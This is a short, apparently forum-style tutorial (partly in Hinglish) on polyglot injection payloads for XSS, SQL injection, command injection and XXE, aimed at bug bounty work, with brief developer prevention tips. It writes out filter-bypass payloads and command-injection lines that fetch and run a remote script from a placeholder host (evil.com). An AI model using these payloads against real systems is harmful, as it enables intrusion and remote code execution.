Polyglot Payloads in Hacking - The Exploitation Art!

Polyglot Payloads in Hacking - The Ultimate Exploitation Art!

What is a Polyglot Payload?​

A polyglot in hacking is a single input (payload) that is valid in multiple contexts/languages at the same time. This means one payload can be used to exploit XSS, SQLi, Command Injection, XML Injection etc. based on how it's processed.
> Simple Words: Ek aisi input jo multi-purpose weapon ki tarah kaam karti hai-jaha bhi injection mile, usi se explode!

Why Are Polyglots Dangerous?​

They bypass filters by confusing parsers
Exploit multiple vulnerabilities in one shot
Useful in WAF bypass, bug bounty, and chained attacks

Real-Life Example of Polyglot Payload
Payload:

"><svg/onload=alert(1)><!--

Where it Works:
In HTML context → XSS
In attribute context → Breaks out of quotes
In comment section → Not fully removed by sanitizers

Exploitation:

<input value="userinput">

If app puts the above payload in value="", it breaks out of the HTML attribute and executes XSS:

<input value=""><svg/onload=alert(1)><!--">

Advanced Polyglot: Command Injection + File Upload​

; curl http://evil.com/shell.sh | bash #

Used during file name upload or input injection. If the system executes filenames or user input unsafely, this runs a reverse shell

Polyglot Payload Types
Context Payload Example Purpose

HTML + JS <svg/onload=alert(1)> XSS
SQL + JS 1';alert(1) // SQLi + XSS
CMD + URL ;wget evil.com RCE
XML + HTML <![CDATA[</script><svg/onload=alert(1)>]]> XXE + XSS
CSS + HTML body{background:url(javascript:alert(1))} CSS Injection

Tools for Creating/Testing Polyglots​

Hackvertor
Burp Suite + Hackvertor Plugin
PayloadAllTheThings
Custom fuzzers + regex filter bypassers

Prevention Tips for Developers​

Use context-aware encoding (HTML, JS, URL)
Never trust user input even in metadata
Filter + sanitize input based on where it goes
Avoid unsafe functions like eval(), exec(), innerHTML

Key Takeaway​

> Polyglot payloads = Swiss Knife for Hackers!
One line → Multiple explosions
Mastering this can bypass advanced WAFs and land big $$$ in bug bounty programs